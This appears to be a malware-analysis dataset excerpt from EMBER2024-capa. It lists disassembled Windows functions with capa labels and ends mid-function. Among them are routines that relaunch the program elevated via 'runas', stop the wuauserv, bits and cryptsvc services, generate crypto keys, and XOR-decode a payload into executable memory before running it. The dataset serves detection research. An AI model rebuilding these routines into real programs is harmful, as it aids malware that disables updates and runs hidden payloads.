joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401750
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4251c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0
mov byte [ebp - 0xc], 0
mov byte [ebp - 0xb], 0
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0
mov byte [ebp - 8], 0
mov byte [ebp - 7], 5
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x4017c1
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
nop
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402404
mov esp, ebp
pop ebp
ret

Function at 0x4017e0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x4251c0]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00401750
test eax, eax
jne 0x40188a
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40188a
mov dword [ebp - 0x144], 0x3c
push 0x38
push 0
lea ecx, [ebp - 0x140]
push ecx
call fcn.004050d0
add esp, 0xc
mov dword [ebp - 0x138], str.runas
lea edx, [ebp - 0x108]
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x130], 0x42501c
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x128], 0
lea eax, [ebp - 0x144]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x401882
push 1
call fcn.00407565
nop
push 0
call fcn.00407565
nop
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402404
mov esp, ebp
pop ebp
ret

Function at 0x4018a0
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x4251c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x401957
mov dword [ebp - 0x10], str.wuauserv
mov dword [ebp - 0xc], str.bits
mov dword [ebp - 8], str.cryptsvc
mov dword [ebp - 0x30], 0
jmp 0x4018f3
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jae 0x40194c
push 0x24
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp + ecx*4 - 0x10]
push edx
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x40194a
lea ecx, [ebp - 0x2c]
push ecx
push 1
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40193f
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0x10]
push ecx
push str.s__s_st._n
call fcn.00402330
add esp, 8
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
jmp 0x4018ea
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402404
mov esp, ebp
pop ebp
ret
Function at 0x402040
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4020a7
mov ecx, dword [ebp + 8]
push ecx
push 0x20
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov eax, dword [ebp + 0xc]
push eax
push 0x10
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x20
mov eax, dword [ebp + 8]
push eax
call fcn.00402000
add esp, 8
push 0x10
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00402000
add esp, 8
jmp 0x4020af
push 1
call fcn.00407565
nop
mov esp, ebp
pop ebp
ret

Function at 0x4020f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x4251c0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 2
jge 0x402134
call fcn.004017e0
push 0
push 0
push 0x42517c
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
jmp 0x4021a0
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x34]
push edx
call fcn.00402040
add esp, 8
call fcn.004018a0
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x34]
push ecx
call fcn.004020c0
add esp, 8
call fcn.00401670
push str.__food
mov edx, 4
shl edx, 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx]
push ecx
call fcn.00406f90
add esp, 8
test eax, eax
jne 0x402192
push 0
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x34]
push eax
call fcn.00401cb0
add esp, 0xc
jmp 0x402199
mov eax, 1
jmp 0x4021a0
call fcn.00401720
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402404
mov esp, ebp
pop ebp
ret

Function at 0x402fb8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402ff7
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402ff7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402ff7
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402ff7
cmp dword [ecx + 0x74], 0xe
jbe 0x402ff7
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40b267
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x4251c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x41dfa8
push esi
call fcn.0041232b
pop ecx
pop ecx
test eax, eax
jne 0x40b295
xor al, al
jmp 0x40b312
push ebx
lea eax, [ebp - 0x210]
xor ebx, ebx
push eax
push 0x104
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], ebx
push esi
push eax
call fcn.0040afa8
mov edx, eax
add esp, 0x10
test edx, edx
jne 0x40b2cf
push dword [ebp - 0x210]
call fcn.00407204
xor al, al
jmp 0x40b310
mov ecx, edx
push edi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x40b2d5
sub ecx, edi
sar ecx, 1
pop edi
cmp ecx, 3
je 0x40b2f5
push edx
call fcn.0040b19e
pop ecx
test al, al
je 0x40b2c0
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x40b303
mov bl, 1
push dword [ebp - 0x210]
call fcn.00407204
mov al, bl
pop ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00402404
leave
ret

Function at 0x40e420
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41ee50
push 0x41ee48
push str.FlsAlloc
push 0x1f
call fcn.0040e2df
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40e454
push dword [ebp + 8]
mov ecx, esi
call dword [0x41d1d4]
call esi
jmp 0x40e45a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40e49e
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41ee60
push 0x41ee58
push str.FlsGetValue
push 0x21
call fcn.0040e2df
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40e4d5
push dword [ebp + 8]
mov ecx, esi
call dword [0x41d1d4]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40e4dd
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41ee68
push 0x41ee60
push str.FlsSetValue
push 0x22
call fcn.0040e2df
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40e517
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41d1d4]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40f32c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4264a8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x40f36c
cmp byte [ebx], 0xa
jne 0x40f36c
or byte [edi + eax + 0x28], 4
jmp 0x40f371
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x40f470
mov dl, byte [eax]
cmp dl, 0x1a
je 0x40f453
inc eax
cmp dl, 0xd
je 0x40f39d
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x40f3c3
cmp eax, ecx
jae 0x40f3d1
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x40f385
jmp 0x40f470
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40f44e
cmp dword [ebp - 0x10], 0
je 0x40f44e
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x4264a8]
test byte [eax + edi + 0x28], 0x48
je 0x40f428
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x40f413
mov byte [esi], dl
jmp 0x40f424
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4264a8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x40f470
cmp byte [ebp - 1], 0xa
jne 0x40f437
cmp esi, ebx
jne 0x40f437
mov byte [esi], 0xa
jmp 0x40f46f
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00416980
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x40f470
mov byte [esi], 0xd
jmp 0x40f46f
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x4264a8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x40f46d
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x40f470
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40f479
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x4264a8]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x40f4bf
cmp word [ebx], dx
jne 0x40f4bf
or byte [eax + edi + 0x28], 4
jmp 0x40f4c4
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x40f627
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x40f607
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x40f505
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x40f53b
cmp eax, edx
jae 0x40f549
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x40f4e0
jmp 0x40f627
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40f602
cmp dword [ebp - 0x18], 0
je 0x40f602
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x4264a8]
test byte [eax + edi + 0x28], 0x48
je 0x40f5d8
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x40f59c
mov word [esi], cx
jmp 0x40f5d3
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x4264a8]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x4264a8]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x4264a8]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x40f627
pop eax
cmp word [ebp - 4], ax
jne 0x40f5e8
cmp esi, ebx
jne 0x40f5e8
mov word [esi], ax
jmp 0x40f624
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00416980
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x40f627
push 0xd
pop eax
jmp 0x40f5e3
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x4264a8]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x40f621
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x40f627
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x413f37
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x413fd4
push ebx
push esi
call fcn.00413f00
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040dfd4
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x413f81
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x413fd3
push edi
push eax
call fcn.0040de0a
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x413fa1
call fcn.0040ddd0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x413fd2
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040dfd4
add esp, 0x20
test eax, eax
jne 0x413fc0
push edi
call fcn.0040ddd0
jmp 0x413fc8
push ebx
call fcn.0040ddd0
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x413fd7
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x413fe8
pop esi
ret
push ebx
push edi
push esi
call fcn.00413f00
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0040de0a
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x414010
push ebx
push esi
push edi
call fcn.004047a0
add esp, 0xc
push 0
call fcn.0040ddd0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x41476a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00414285

Function at 0x418977
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x4251c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp eax, 0x1a
jbe 0x4189ba
call fcn.0040d6c5
mov dword [eax], 0xf
call fcn.0040d6d8
mov dword [eax], 0xd
call fcn.0040d5f7
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402404
leave
ret
test eax, eax
jne 0x4189c1
inc eax
jmp 0x4189ae
add eax, 0x40
push 0x3a
mov word [ebp - 0xc], ax
pop eax
mov word [ebp - 0xa], ax
push 0x5c
pop eax
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, eax
test ecx, ecx
je 0x4189ac
xor eax, eax
cmp ecx, 1
setne al
jmp 0x4189ae
Function at 0x41a825
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.0041a7a1
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x41a994
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x41a994
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x41a949
jg 0x41a881
test eax, eax
je 0x41a93f
push 1
push 0x1000
call fcn.0040e14f
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x41a8a4
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x41a936
push 0x8000
push ebx
call fcn.0040c515
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x41a8cd
jg 0x41a8c8
cmp ecx, 0x1000
jb 0x41a8cd
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00410730
add esp, 0x10
cmp eax, 0xffffffff
je 0x41a912
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x41a8c8
jl 0x41a8f9
test ecx, ecx
jne 0x41a8ba
push dword [ebp - 0xc]
push ebx
call fcn.0040c515
push esi
call fcn.0040ddd0
add esp, 0xc
xor ebx, ebx
jmp 0x41a9a2
cmp byte [edi + 0x24], 0
je 0x41a929
cmp dword [edi + 0x20], 5
jne 0x41a929
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x41a934
mov ebx, dword [edi + 0x18]
jmp 0x41a936
xor ebx, ebx
push esi
call fcn.0040ddd0
pop ecx
jmp 0x41a9a2
test ecx, ecx
jg 0x41a90b
jl 0x41a949
test eax, eax
jae 0x41a90b
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00416980
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x41a969
cmp byte [edi + 0x1c], 0
je 0x41a90b
jmp 0x41a99a
push ebx
call fcn.004128c0
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x41a90b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x41a9a2
cmp byte [edi + 0x1c], 0
je 0x41a99f
mov ebx, dword [edi + 0x18]
jmp 0x41a9a2
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00416980
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41c4a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41c4cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41c4cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x404fdf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x404fee
pop dword [ebp - 8]
mov eax, 0x404fee
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x125f8111
add dword [ebp - 0x18], 0x3bf2c43a
mov dword [ebp - 0x14], 0x73b5af98
sub dword [ebp - 0x14], 0x41826353
mov dword [ebp - 0x10], 0x3482f67e
add dword [ebp - 0x10], 0x17c94db0
mov dword [ebp - 0xc], 0x5fe41eb0
sub dword [ebp - 0xc], 0x5fe41eb0
lea eax, [ebp - 0x18]
push eax
mov eax, 0x56416693
sub eax, 0x5600c687
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xa2ec35ab
add dword [ebp - 0x18], 0xd18633ab
mov dword [ebp - 0x14], 0x1e3c28a0
sub dword [ebp - 0x14], 0xdccfc72b
mov dword [ebp - 0x10], 0x9ff5a431
sub dword [ebp - 0x10], 0x3c8637c5
mov dword [ebp - 0xc], 0xe162dd6b
add dword [ebp - 0xc], 0x1e9d2295
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xca98370c
add eax, 0x35a86908
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3740b
push 0
call eax
mov ecx, 0x4a1f697f
sub ecx, 0x4a1f27ad
xor edx, edx
add edx, eax
mov edi, 0x43be00
add edi, dword [ebp - 8]
mov esi, 0x1c1218b0
sub dword [ebp - 4], 0x14f89dbe
mov ebx, dword [edi]
xor dword [ebp - 4], 0xaafe780f
xor ebx, esi
sub dword [ebp - 4], esi
mov dword [edx], ebx
mov dword [ebp - 4], 0x2ac927b1
add edx, 0xd6ac74b9
add edx, 0x29538b4b
add edi, 4
loop 0x405101
add eax, 0x42f68a5b
sub eax, 0x42f59040
xor ebx, ebx
add ebx, eax
add eax, 0x4626bbd5
add eax, 0xb9d94430
mov ecx, 0x400000
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x4063e0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x4600b4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push esi
mov esi, ecx
push edi
mov dword [esi + 0x14], 0
mov byte [esi + 0x218], 1
nop dword [eax]
mov edi, dword [esi + 0x2c]
test edi, edi
je 0x406446
push 0x800
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.0041e250
add esp, 0xc
mov dword [ebp - 0x804], 9
lea eax, [ebp - 0x804]
push 0
push 4
push eax
push dword [edi]
call ebx
cmp dword [esi + 0x50], 0
jg 0x406410
mov eax, dword [esi + 8]
test eax, eax
je 0x406465
push 0x10
push eax
call fcn.00419f99
add esp, 8
mov dword [esi + 8], 0
mov eax, dword [esi + 0x18]
test eax, eax
je 0x4064a1
mov dword [eax + 8], 0
mov dword [eax + 0x1c], 0
mov dword [eax + 0x30], 0
mov dword [eax + 4], 0
mov eax, dword [esi + 0x18]
test eax, eax
je 0x40649a
push 0x54
push eax
call fcn.00419f99
add esp, 8
mov dword [esi + 0x18], 0
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x4064c6
call fcn.00418d30
mov eax, dword [esi + 0x10]
test eax, eax
je 0x4064bf
push 0x4c
push eax
call fcn.00419f99
add esp, 8
mov dword [esi + 0x10], 0
mov eax, dword [esi + 0x2c]
test eax, eax
je 0x4064f1
push dword [eax]
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [esi + 0x2c]
test eax, eax
je 0x4064ea
push 0x44c
push eax
call fcn.00419f99
add esp, 8
mov dword [esi + 0x2c], 0
mov edi, dword [esi + 0x54]
test edi, edi
je 0x406539
mov eax, dword [edi]
test eax, eax
je 0x406520
cmp dword [eax], 0
je 0x406509
mov dword [eax], 0
mov eax, dword [edi]
test eax, eax
je 0x40651a
push 8
push eax
call fcn.00419f99
add esp, 8
mov dword [edi], 0
mov eax, dword [esi + 0x54]
test eax, eax
je 0x406532
push 0x1c
push eax
call fcn.00419f99
add esp, 8
mov dword [esi + 0x54], 0
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00419f88
mov esp, ebp
pop ebp
ret
Function at 0x407e30
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x4600b4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ecx + 0x2c]
test esi, esi
je 0x407e94
push 0x800
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.0041e250
mov eax, dword [ebp + 0x10]
add esp, 0xc
movq xmm0, qword [ebp + 8]
mov dword [ebp - 0x7f8], eax
lea eax, [ebp - 0x804]
mov dword [ebp - 0x804], 2
push 0
push 0x10
push eax
movq qword [ebp - 0x800], xmm0
push dword [esi]
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00419f88
mov esp, ebp
pop ebp
ret 0xc

Function at 0x407eb0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x4600b4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ecx + 0x2c]
test esi, esi
je 0x407f07
push 0x800
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.0041e250
mov eax, dword [ebp + 8]
add esp, 0xc
mov dword [ebp - 0x800], eax
lea eax, [ebp - 0x804]
mov dword [ebp - 0x804], 8
push 0
push 8
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00419f88
mov esp, ebp
pop ebp
ret 4

Function at 0x407f20
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x4600b4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ecx + 0x2c]
test esi, esi
je 0x407f77
push 0x800
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.0041e250
mov eax, dword [ebp + 8]
add esp, 0xc
mov dword [ebp - 0x800], eax
lea eax, [ebp - 0x804]
mov dword [ebp - 0x804], 3
push 0
push 8
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00419f88
mov esp, ebp
pop ebp
ret 4

Function at 0x407f90
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x4600b4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ecx + 0x2c]
test esi, esi
je 0x407fde
push 0x800
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.0041e250
add esp, 0xc
mov dword [ebp - 0x804], 5
lea eax, [ebp - 0x804]
push 0
push 4
push eax
push dword [esi]
